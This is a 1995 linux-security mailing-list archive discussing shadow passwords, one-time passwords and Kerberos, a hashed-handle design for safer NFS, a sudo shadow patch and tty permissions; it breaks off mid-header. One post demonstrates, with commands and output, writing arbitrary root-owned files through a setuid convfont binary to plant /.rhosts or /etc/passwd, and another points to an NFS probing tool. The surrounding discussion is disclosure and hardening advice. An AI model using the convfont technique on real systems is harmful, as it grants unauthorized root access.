(thdsun.epm.ornl.gov [128.219.8.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id HAA08430; Wed, 8 Mar 1995 07:39:24 -0500 Received: (from dunigan@localhost) by thdsun.epm.ornl.gov (8.6.10/8.6.10) id HAA09293 for [email protected]; Wed, 8 Mar 1995 07:39:23 -0500 Date: Wed, 8 Mar 1995 07:39:23 -0500 From: Tom Dunigan 576-2522 Message-Id: <[email protected]> To: [email protected] Subject: Re: Shadow discussions ... don't forget skey Sender: [email protected] Precedence: list Reply-To: [email protected] >I have the feeling this discussion about shadow passwords is not >leading anywhere useful at the moment. As Rik explained, there are >good reasons why the shadow suite has been removed from most Linux >distributions, and I would expect things to stay that way. There are >better alternatives; proactive checking being but one. Another is >Kerberos. Strong passwords, shadowed, and kerberized are still vulnerable to sniffer attacks. You should consider one-time passwords if you have users logging in to your linux boxes from remote sites (e.g., universities). Hackers have elegant sniffer programs that capture clear text passwords off LANs. We use the skey (soft key, one-time passwords) on our linux boxes and other Unix boxes. Various mods for skey have appeared on sunsite. We just patched login.c and wu.ftpd.c and replaced su with keysu to implement skey on linux. skey doesn't require any hardware or a "card". skey is part of logdaemon package and uses tcpwrappers, see ftp://ftp.win.tue.nl/pub/security original skey stuff was developed at Bellcore, see ftp://ftp.bellcore.com/pub/nmh and see the postscript paper there: ftp://ftp.bellcore.com/pub/nmh/docs/ISOC.symp.ps and RFC 1760 ftp://ds.internic.net/rfc/rfc1760.txt Tom From [email protected] Wed Mar 8 11:13:17 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA10642; Wed, 8 Mar 1995 11:12:30 -0500 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id JAA08903; Wed, 8 Mar 1995 09:50:27 -0500 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Wed, 8 Mar 1995 15:50:04 +0100 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id PAA01075 for [email protected]; Wed, 8 Mar 1995 15:49:59 +0100 Message-Id: <[email protected]> Subject: Safe NFS outline To: [email protected] (linux-security) Date: Wed, 8 Mar 1995 15:49:58 +0100 (MET) From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 3767 Sender: [email protected] Precedence: list Reply-To: [email protected] Here's an outline for an nfsd I dreamt up together with Mike pall ([email protected]) some time ago. It's compatible with current servers (or so I think) and shouldn't be too hard to implement. Comments, anybody? Thomas The current state of NFS authentication is fairly bad. Once a client has obtained a valid NFS handle by whatever means (guessing, net spoofing, whatever) it can work its way from there. Because a NFS server is stateless, it's not supposed to keep around records of who mounts what. Current clients use AUTH_UNIX for their credentials (there are actually some NFS implementations around with trust the hostname in there... I have no idea why they should do that) with a null verifier. Trying to get that fixed is useless. However, there is enough room in the file handle itself for verification data, which can be done with a secure hash like MD5. The scheme I dreamt up with Mike Pall is the following: A mount request comes in for client foo, which wants to mount directory /bar. The mount daemon checks that this is indeed permitted and generates a record (called 'clientpoint') for the mount request. This contains the following information: - Major and minor device number of the mountpoint - Inode number of the mountpoint - IP address of the client - A secret key (64 bits or so) generated from pseudorandom data, such as timer resolution at the microsecond level, networking statistics, and whatever. This changes from mount request to mount request. - Flags, such as readonly status, wether the entry is actually valid, and the like. This clientpoint entry is indexed, and should be stored on disk (probably mmaped() by both mountd and nfsd). The mountd then generates a NFS file handle with the following information: - Major and minor inode numbers (4 bytes each) - Inode number of the mountpoint (4 bytes) - Clientindex number (4 bytes) - Autentication data, which is generated by a MD5 hash over all the clientpoint data plus the data in the file handle. This includes the secret key. If a NFS request comes in to the nfsd, the first thing it does is to get is the clientpoint for the request. If it doesn't, probably somebody is playing guessing games :-) Assuming it exists, the next thing to compare would be wether the IP address of the sender and the one for the clientpoint. If it doesn't, chances are somebody is trying to feed a NFS handle to us which is valid for another machine (network spoofing?). After this, a MD5 checksum (over the same clientpoint entry and the file handle the client just sent us). If these don't match, it might be that a client, who may be able to mount some files legitimately is trying to get a file handle for my root filesystem. Before doing the actual operation, the kernel nfsd would have set the fsuid and done the (kernel - equivalent) of a chroot() call. No way to break out, then ;-) What else? Well, the number of clientpoints has to be kept fairly low. If a client wants to remount the same filesystem for which it hadn't done an unmount, chances are it crashed in the meantime and doesn't remember about the old handles, anyway. Other than that, I see no legitimate reason for a single client machine to mount the same directory more than, let's say, two times (to be made an option). It will make a nice entry in the BUGS section, though ;-) When /etc/exports is read anew, mountd should amble along the clientpoints file and throw out anything that's no longer permitted. Performance: I tried MD5 on my 486/33 and got about 200000 rounds/second. This would be good enough, I think. Keeping state around: Well, some is inevitable, if you want an approximation of a secure NFS. You have to keep track of who's mounting what. From [email protected] Wed Mar 8 11:31:10 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA10815; Wed, 8 Mar 1995 11:30:30 -0500 Received: from sun1000.ci.pwr.wroc.pl (sun1000.ci.pwr.wroc.pl [156.17.5.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id GAA08176; Wed, 8 Mar 1995 06:52:39 -0500 Received: from ci3ux.ci.pwr.wroc.pl (ci3ux.ci.pwr.wroc.pl [156.17.10.3]) by sun1000.ci.pwr.wroc.pl (8.6.10/8.6.10) with SMTP id MAA02780 for ; Wed, 8 Mar 1995 12:52:19 +0100 Subject: Re: Anyone get Sudo working w/ Shadow? To: [email protected] Date: Wed, 8 Mar 1995 12:47:31 +0100 (MEZ) From: Marek Michalkiewicz In-Reply-To: from "Rob Hardy" at Mar 7, 95 12:17:05 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2682 Message-ID: <[email protected]> Sender: [email protected] Precedence: list Reply-To: [email protected] [Mod: The shadow discussion is now officially (as official as we can make it ;-) dead. However, I'm approving this because it contains real information (not just opinions, ideas, or guessing) in the form of a patch to something. My initial reaction to this post was that it (the patch) should have been directed back to the originator of the bug question, rather than this list, but there may be others that first heard of the problem on this list that may also be interested in fixing this problem (or testing this fix); thus the patch may be useful to more than just that one person. Since a new GPL/shadow list has been created, no more shadow discussions will take place here, nor will followups to this post be approved. Hash it out in another list or in private e-mail please. --Jeff] > I've been trying for awhile to get sudo to work with shadow passwords. > The package says it already supports shadow but it doesn't work. After looking at the source (version 1.2 from slackware-source, I don't know if this is the latest version) I found that the shadow support is bogus... Below is a patch (untested - it compiles, but I haven't tried yet if it works). Hope this helps. -- Marek Michalkiewicz [email protected] || [email protected] diff -ur old/sudo-1.2/Makefile sudo-1.2/Makefile --- old/sudo-1.2/Makefile Sun Mar 20 20:45:40 1994 +++ sudo-1.2/Makefile Wed Mar 8 12:43:41 1995 @@ -88,7 +88,7 @@ # # define this for shadow passwords - SHADOW = + SHADOW = -DSHADOW_PWD CC = gcc LEX = flex YACC = bison -y @@ -108,7 +108,7 @@ MANSECTION = 8 MANDIR = /usr/man/man${MANSECTION} PROG = sudo.bin - LIBS = -lfl + LIBS = -lfl -lshadow SUNOS4 = -Bstatic LINUX = diff -ur old/sudo-1.2/check.c sudo-1.2/check.c --- old/sudo-1.2/check.c Sun Dec 5 23:57:31 1993 +++ sudo-1.2/check.c Wed Mar 8 12:41:46 1995 @@ -48,6 +48,11 @@ #include #endif +#ifdef SHADOW_PWD +#include +#define crypt pw_encrypt +#endif + char *getpass(); static int check_timestamp(); @@ -79,7 +84,7 @@ } rtn = check_timestamp(); #ifdef LINUX -if ( setreuid (uid) ) { /* don't want to be root longer than necessary */ +if ( setreuid (uid, -1) ) { /* don't want to be root longer than necessary */ #else if ( setruid (uid) ) { /* don't want to be root longer than necessary */ #endif @@ -96,7 +101,7 @@ } update_timestamp(); #ifdef LINUX -if ( setreuid (uid) ) { /* don't want to be root longer than necessary */ +if ( setreuid (uid, -1) ) { /* don't want to be root longer than necessary */ #else if ( setruid (uid) ) { /* don't want to be root longer than necessary */ #endif @@ -217,14 +222,14 @@ static void check_passwd() { -#ifndef SHADOW_PWD char *crypt(); -#endif struct passwd *pw_ent; char *encrypted; /* this comes from /etc/passwd */ char *pass; /* this is what gets entered */ register int counter=TRIES_FOR_PASSWORD; - +#ifdef SHADOW_PWD +struct spwd *sp; +#endif if ( (pw_ent = getpwuid( uid )) == NULL ) { sprintf ( user, "%u", uid ); @@ -232,7 +237,11 @@ inform_user ( GLOBAL_NO_PW_ENT ); exit (1); } - +#ifdef SHADOW_PWD +sp = getspnam(pw_ent->pw_name); +if (sp) + pw_ent->pw_passwd = sp->sp_pwdp; +#endif encrypted = pw_ent -> pw_passwd; /* you get TRIES_FOR_PASSWORD times to guess your password */ From [email protected] Wed Mar 8 11:43:32 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA10983; Wed, 8 Mar 1995 11:43:20 -0500 Received: from [192.77.155.4] ([192.77.155.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id LAA10843; Wed, 8 Mar 1995 11:33:16 -0500 Received: by [192.77.155.4] id m0rmOae-0004i6C (Debian /\oo/\ Smail3.1.29.1 #29.26); Wed, 8 Mar 95 11:28 EST Message-Id: Date: Wed, 8 Mar 95 11:28 EST From: [email protected] (Raul Miller) To: [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: Safe NFS outline Sender: [email protected] Precedence: list Reply-To: [email protected] Hmm... (1) say something about the life time of a pass-key (e.g. up to an hour, or the drop of a hat -- whichever comes first). With a modicum of network security, you should only need pass-keys for the mount points. You'll need a challenge/response mechanism in the secure nfs clients anyways.. (2) make the maximum number of simultaneous pass-keys for file system configurable by the nfs administrator. That's more of a local policy issue than a communications standard. -- Raul Deluth Miller From [email protected] Wed Mar 8 11:43:34 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA10976; Wed, 8 Mar 1995 11:42:58 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id TAA00885; Tue, 7 Mar 1995 19:09:55 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rm9K7-0005M9C; Tue, 7 Mar 95 16:09 PST Date: Tue, 7 Mar 1995 16:09:55 -0800 (PST) From: Elias Levy To: [email protected] cc: [email protected] Subject: Re: NFS server In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] Trying nfsbug on one of my linux nfs boxes reports the UID bug. You can get nfsbug and other tools at http://underground.org/tools/unix/ On Tue, 7 Mar 1995, Thomas Koenig wrote: > > I'll see if I can put together a patch tonight for this and upload a > > new server to some site. I'll also put in the root_squash fix posted > > recently. While we're at it, are there any other known holes? > > Known holes are, or have been: > > [Mod: Further quoting deleted. --Jeff.] [email protected] (Elias Levy) PowerNet, Inc. From [email protected] Wed Mar 8 13:19:58 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA11865; Wed, 8 Mar 1995 13:16:39 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id MAA11666; Wed, 8 Mar 1995 12:45:12 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Safe NFS outline To: [email protected] Date: Wed, 8 Mar 1995 17:47:00 +0000 (GMT) In-Reply-To: <[email protected]> from "Thomas Koenig" at Mar 8, 95 03:49:58 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1161 Sender: [email protected] Precedence: list Reply-To: [email protected] > Comments, anybody? Yes. Read the IP v4 ESP and AH internet drafts (on ds.internic.net) along with the MD5 draft you'll find what you have described. > Current clients use AUTH_UNIX for their credentials (there are actually > some NFS implementations around with trust the hostname in there... I > have no idea why they should do that) with a null verifier. Trying to > get that fixed is useless. And those that use secure RPC > Performance: I tried MD5 on my 486/33 and got about 200000 > rounds/second. This would be good enough, I think. I don't know what rounds equates to. With a few tunings the generic MD5 code gives me about 1.2Mbytes/second. > Keeping state around: Well, some is inevitable, if you want an > approximation of a secure NFS. You have to keep track of who's > mounting what. Yes. Be aware of two things: The RFC MD5 implementation can't be mixed with GNU code (but can be redone - and an assembler one ought to touch 2Mb/second) and in the USA packet authentication (like this) is subject to a totally bogus Novell software patent, so you'd have to do a no US import license ( the GPL permits this in these cases). Alan From [email protected] Wed Mar 8 16:37:33 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id QAA13736; Wed, 8 Mar 1995 16:36:48 -0500 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id PAA12924; Wed, 8 Mar 1995 15:03:40 -0500 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Wed, 8 Mar 1995 18:31:19 +0100 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id SAA00938 for [email protected]; Wed, 8 Mar 1995 18:31:16 +0100 Message-Id: <[email protected]> Subject: Re: Safe NFS outline To: [email protected] Date: Wed, 8 Mar 1995 18:31:16 +0100 (MET) In-Reply-To: from "Raul Miller" at Mar 8, 95 11:28:00 am From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 997 Sender: [email protected] Precedence: list Reply-To: [email protected] > > Hmm... > > (1) say something about the life time of a pass-key (e.g. up to an > hour, or the drop of a hat -- whichever comes first). With a modicum > of network security, you should only need pass-keys for the mount > points. You'll need a challenge/response mechanism in the secure nfs > clients anyways.. I think this is incompatible with existing client implementations. NFS is supposed to be stateless even across a server crash, and a handle is supposed to stay valid forever. The proposal I presented is specifically aimed at compatibility with existing clients (who only need to worry about the NFS file handle, which is opaque to them). Redesigning NFS is a bigger task, which Sun may already have done with revision 3 of the protocol (which I haven't read). > (2) make the maximum number of simultaneous pass-keys for file system > configurable by the nfs administrator. That's more of a local policy > issue than a communications standard. Yes, this makes sense. Thomas From [email protected] Wed Mar 8 16:37:33 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id QAA13727; Wed, 8 Mar 1995 16:36:27 -0500 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id PAA13027; Wed, 8 Mar 1995 15:15:48 -0500 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA17593; Wed, 8 Mar 95 15:15:45 EST Received: by dcl.MIT.EDU (5.0/4.7) id AA00639; Wed, 8 Mar 1995 15:15:37 +0500 Date: Wed, 8 Mar 1995 15:15:37 +0500 From: "Theodore Ts'o" Message-Id: <[email protected]> To: [email protected] Cc: [email protected] In-Reply-To: Tom Dunigan 576-2522's message of Wed, 8 Mar 1995 07:39:23 -0500, <[email protected]> Subject: Re: Shadow discussions ... don't forget skey Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 1228 Sender: [email protected] Precedence: list Reply-To: [email protected] Date: Wed, 8 Mar 1995 07:39:23 -0500 From: Tom Dunigan 576-2522 Strong passwords, shadowed, and kerberized are still vulnerable ^^^^^^^^^^ to sniffer attacks. You should consider one-time passwords if you have users logging in to your linux boxes from remote sites (e.g., universities). Hackers have elegant sniffer programs that capture clear text passwords off LANs. You obviously have no idea how Kerberos works. Kerberos is designed such that you never need to send clear text passwords across the network. Instead, you have a central authentication server which you must keep physically (and logically) secure. When you login to a workstation, the Kerberos server sends you your Kerberos credentials (which are cryptographic objects), encrypted in your login password. These credentials are then decrypted by your workstation if you can supply your kinit (or login) program with your correct login password. These credentials can then be used by a Kerberized telnet (or rlogin) client to securely login to a remote machine without ever needing to type your password over the network. - Ted From [email protected] Wed Mar 8 19:04:57 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA15198; Wed, 8 Mar 1995 19:02:04 -0500 Received: from mail-server.surrey.ac.uk (mail-server.surrey.ac.uk [131.227.102.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id SAA14969; Wed, 8 Mar 1995 18:33:28 -0500 Received: from central.surrey.ac.uk by mail-server.surrey.ac.uk with SMTP (PP); Wed, 8 Mar 1995 23:33:21 +0000 Received: by central.surrey.ac.uk (1.37.109.8/16.2) id AA13748; Wed, 8 Mar 1995 23:33:14 GMT Date: Wed, 8 Mar 1995 23:33:14 +0000 (GMT) From: Mr Martin J Hargreaves To: [email protected] Cc: [email protected] Subject: Re: Secure setup for file transfer In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On 7 Mar 1995, Panzer Boy wrote: > > How about we stick to linux security on this list. For starters people > should read bugtraq also. > > OB linux-security, SVGAlib with convfont being SUID root. Allows you to > write any files as root. Is this list going to be full disclosue like bugtraq? If so can we have details? Otherwise do you have a fix (other than only running SVGAlib programs as root). M. ---------------------------------------------------------------- | Martin Hargreaves, [email protected]| | Undergraduate Computational Chemist | | WWW Server Admin http://www.chem.surrey.ac.uk| ---------------------------------------------------------------- -- [Mod: We would prefer to focus on security enhancement and "hole" avoidance, detection, and fixes, rather than methods of exploitation--unless discussing such methods is necessary for working out a fix. However, we aren't trying to fool ourselves into thinking that not discussing or divulging exploitation methods here will result in the methods not "getting out" (usually they already are), so posts that disclose them will not be disapproved for containing such information. We'd just rather not use a lot of bandwidth *discussing* this aspect of security as it could start to drown out other, IMHO more worthwhile, discussions. Discussing and disclosing are two different things. --Jeff.] From [email protected] Wed Mar 8 19:54:31 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA15722; Wed, 8 Mar 1995 19:54:17 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA15718; Wed, 8 Mar 1995 19:54:13 -0500 Date: Wed, 8 Mar 1995 19:54:13 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Quick info. pointers for shadow stuff. X-Palindrome: If I had a hi-fi. X-Attribution: Up Sender: [email protected] Precedence: list Reply-To: [email protected] Quick consolidation of a couple of info. pointers that were posted to the moderators as the shadow discussion was closing down (no followups approved!): >From: [email protected] (Panzer Boy) And if you want skey incorporated with shadow stuff: ftp://ftp.dhp.com/pub/crypto/skey/shadow-3.3.2-skey.tar.gz skey-md4.tar.gz >From: Thomas Briggs Sudo : In fact, I've got a couple of students working on it right now, and their prognosis is good. I'll uploaded any patches to the source code to this list if you are interested, or I'll put them in ftp://cutter.ship.edu (I'm not the author, but I am using Shadow Passwords) [Mod: No longer considered on-topic for this list, but the new GPL/shadow list will very likely be interested.] --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Wed Mar 8 20:03:54 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA15795; Wed, 8 Mar 1995 20:03:45 -0500 Received: from remarque.berkeley.edu (remarque.Berkeley.EDU [128.32.152.164]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id MAA11341; Wed, 8 Mar 1995 12:13:44 -0500 From: [email protected] Received: by remarque.berkeley.edu (8.6.10/1.31) id JAA07789; Wed, 8 Mar 1995 09:13:40 -0800 Date: Wed, 8 Mar 95 9:13:39 PST To: [email protected] Subject: Re: Secure setup for file transfer In-Reply-To: Your message of Tue, 7 Mar 1995 17:59:10 -0500 Message-ID: Sender: [email protected] Precedence: list Reply-To: [email protected] My recollection was that the serial #'s for the BIOS chipset was readable, given that you know the address (& command?)?. Or has this gone by the wayside in the last few years? Tox *********************************************** * Tox Gunn [email protected] * * "Your sanity is not my responsibility!" * *********************************************** linux-security/1995/linux-security.950309100664 1767 1767 122415 5730454703 17307 0ustar majdommajdomFrom [email protected] Thu Mar 9 08:17:52 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id IAA20038; Thu, 9 Mar 1995 08:14:34 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id AAA17846; Thu, 9 Mar 1995 00:55:17 -0500 Received: (from panzer@localhost) by dhp.com (8.6.10/8.6.9) id AAA26514; Thu, 9 Mar 1995 00:55:06 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: Secure setup for file transfer Date: 9 Mar 1995 00:55:03 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 47 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] Mr Martin J Hargreaves ([email protected]) wrote: : On 7 Mar 1995, Panzer Boy wrote: : > OB linux-security, SVGAlib with convfont being SUID root. Allows you to : > write any files as root. : Is this list going to be full disclosue like bugtraq? If so can : we have details? Otherwise do you have a fix (other than only running : SVGAlib programs as root). I'm not sure about full disclosure, as I don't run this list, nor do I think that we should discuss the merits of non vs. full, as this will make more posts than the shadow discussion. If you have other security problems like this, please post. convfont text-file /anyfile Here: > echo >/tmp/file "Hello" > ls -l /tmp/file -rw------- 1 panzer users 6 Mar 9 00:02 /tmp/file > ls -l /usr/local/bin/convfont -rwsr-xr-x 1 root users 2272 May 26 1994 /usr/local/bin/convfont* > /usr/local/bin/convfont /tmp/file 6 /tmp/new-root-file Converting 1 characters Writing font file. > ls -l /tmp/new-root-file -rw------- 1 root users 8192 Mar 9 00:03 /tmp/new-root-file /tmp/new-root-file is "Hello" followed by a lot of space. Instant /.rhosts, /etc/passwd(shadow), hosts, inetd.conf, anything. If you are concerned about security start with the simple standby: find / -perm -4000 -print This will search your entire drive for any SUID programs. Make sure that all of these need to be SUID. Have SVGA stuff, make a "lusers" group for "Local Users" and chmod 4750 those files. People who telnet in have no reason to run svgalib progs, change your x-servers to the same permission, again, non-local users should not be starting X on your machine. Look in /etc/inetd.conf. Make sure you are only allowing access to things you want to give out access to. If in doubt, comment it out, and see if you need it, you can always put it back. -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Thu Mar 9 08:19:22 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id IAA20261; Thu, 9 Mar 1995 08:19:17 -0500 Received: from staff.cs.su.OZ.AU (staff.cs.su.OZ.AU [129.78.8.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id EAA19488; Thu, 9 Mar 1995 04:05:56 -0500 Received: from sour.sw.oz.au by staff.cs.su.OZ.AU (mail from jeremy for [email protected]) with MHSnet (insertion MHSnet site: swallow.sw.oz.au); Thu, 09 Mar 1995 19:05:48 +1000 Received: from sour.sw.oz.au by swallow.sw.oz.au with SMTP id AA24773; Thu, 9 Mar 95 19:06:09 EST (4.1/Unixware) (from [email protected] for [email protected]) Received: by sour.sw.oz.au id AA26512; Thu, 9 Mar 1995 19:05:37 +1000 (5.65c/1.34) (from [email protected] for [email protected]) From: [email protected] (Jeremy Fitzhardinge) Message-Id: <[email protected]> Subject: Re: Shadow discussions ... don't forget skey To: [email protected] Date: Thu, 9 Mar 1995 19:05:37 +1000 (EST) In-Reply-To: <[email protected]> from "Theodore Ts'o" at Mar 8, 95 03:15:37 pm Organization: Softway Pty Ltd X-Face: '6U=%Tv\k1l-:?\$C[D@G 7(vl~w8&y}!f\bh#wL#n,TGKh>T.c7eT5-y)Hl'i;A1z$9?*lD.k}yqshddFb l[EC}c=;uc%x'}uh3E91p&oE Date: Wed, 8 Mar 1995 07:39:23 -0500 > From: Tom Dunigan 576-2522 > > Strong passwords, shadowed, and kerberized are still vulnerable > ^^^^^^^^^^ > to sniffer attacks. You should consider one-time passwords >[...] > You obviously have no idea how Kerberos works. Kerberos is designed > such that you never need to send clear text passwords across the > network. This is true in theory, but there are situations where plaintext passwords will still be passed over the network. For example, we have X terminals on every desk which can't run anything locally. Even if kerberos were installed there'd be passwords going between the terminal and the CPU host. Of course, this is a failure in implementation rather than in Kerberos, since it must be installed to work end-to-end. I think the point is that onetime password systems like skey are end to end, regardless of the underlying connections. J From [email protected] Thu Mar 9 12:58:43 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA22286; Thu, 9 Mar 1995 12:56:35 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id JAA20578; Thu, 9 Mar 1995 09:07:07 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Shadow discussions ... don't forget skey To: [email protected] Date: Thu, 9 Mar 1995 14:08:55 +0000 (GMT) In-Reply-To: <[email protected]> from "Theodore Ts'o" at Mar 8, 95 03:15:37 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list Reply-To: [email protected] [mod: quoting trimmed --okir] > These credentials can then be used by a Kerberized telnet (or rlogin) > client to securely login to a remote machine without ever needing to > type your password over the network. If correctly implemented. Check the CIAC alert on kerberized telnet From [email protected] Thu Mar 9 12:58:44 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA22262; Thu, 9 Mar 1995 12:55:16 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id JAA20652; Thu, 9 Mar 1995 09:15:59 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Secure setup for file transfer To: [email protected] Date: Thu, 9 Mar 1995 14:18:00 +0000 (GMT) In-Reply-To: from "Mr Martin J Hargreaves" at Mar 8, 95 11:33:14 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 332 Sender: [email protected] Precedence: list Reply-To: [email protected] > Is this list going to be full disclosue like bugtraq? If so can > we have details? Otherwise do you have a fix (other than only running > SVGAlib programs as root). Anything I post will be full disclosure. convfont is an oversite, its a non svgalib program that got set setuid root like the rest when it should not be. Alan From [email protected] Thu Mar 9 12:58:44 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA22268; Thu, 9 Mar 1995 12:55:39 -0500 Received: from sun1000.ci.pwr.wroc.pl (sun1000.ci.pwr.wroc.pl [156.17.5.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id JAA20709; Thu, 9 Mar 1995 09:18:37 -0500 Received: from ci3ux.ci.pwr.wroc.pl (ci3ux.ci.pwr.wroc.pl [156.17.10.3]) by sun1000.ci.pwr.wroc.pl (8.6.10/8.6.10) with SMTP id PAA08542 for ; Thu, 9 Mar 1995 15:18:05 +0100 Subject: tty permissions To: [email protected] Date: Thu, 9 Mar 1995 15:13:21 +0100 (MEZ) From: Marek Michalkiewicz X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1091 Message-ID: <[email protected]> Sender: [email protected] Precedence: list Reply-To: [email protected] OK, since some people here don't like s****w passwords, I'm now going to talk about something else. :-) I see one security problem with the standard util-linux login. When the user logs in, the permissions of this user's tty are set to 0622. This allows anyone to write anything, including some dangerous control codes (black text on black background, possibly redefine keys on some terminal types) or "talk: respond with: talk [email protected]" (probably wouldn't work but you get the idea). The reason is probably that "most Linux systems are single-user systems". But I think it would be better if the permissions were set to 0620, group "tty". Programs like write should be setgid tty and filter out control characters (write in util-linux already does this). In fact, the code to set right tty permissions exists in util-linux login. You only need to change a few #ifdefs and change mesg so it can set right permissions. Are there any good reasons it has not been done yet? Regards, -- Marek Michalkiewicz [email protected] || [email protected] From [email protected] Thu Mar 9 12:58:44 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA22274; Thu, 9 Mar 1995 12:55:54 -0500 Received: from sun1000.ci.pwr.wroc.pl (sun1000.ci.pwr.wroc.pl [156.17.5.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id JAA20832; Thu, 9 Mar 1995 09:44:40 -0500 Received: from ci3ux.ci.pwr.wroc.pl (ci3ux.ci.pwr.wroc.pl [156.17.10.3]) by sun1000.ci.pwr.wroc.pl (8.6.10/8.6.10) with SMTP id PAA09751 for ; Thu, 9 Mar 1995 15:44:19 +0100 Subject: Re: Safe NFS outline To: [email protected] Date: Thu, 9 Mar 1995 15:39:37 +0100 (MEZ) From: Marek Michalkiewicz In-Reply-To: from "Alan Cox" at Mar 8, 95 05:47:00 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 773 Message-ID: <[email protected]> Sender: [email protected] Precedence: list Reply-To: [email protected] > Be aware of two things: The RFC MD5 implementation can't be mixed with > GNU code (but can be redone - and an assembler one ought to touch 2Mb/second) There is a public domain MD5 implementation. Found in util-linux-2.1: /* * This code implements the MD5 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. [...] */ -- Marek Michalkiewicz [email protected] || [email protected] From [email protected] Thu Mar 9 12:58:45 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu 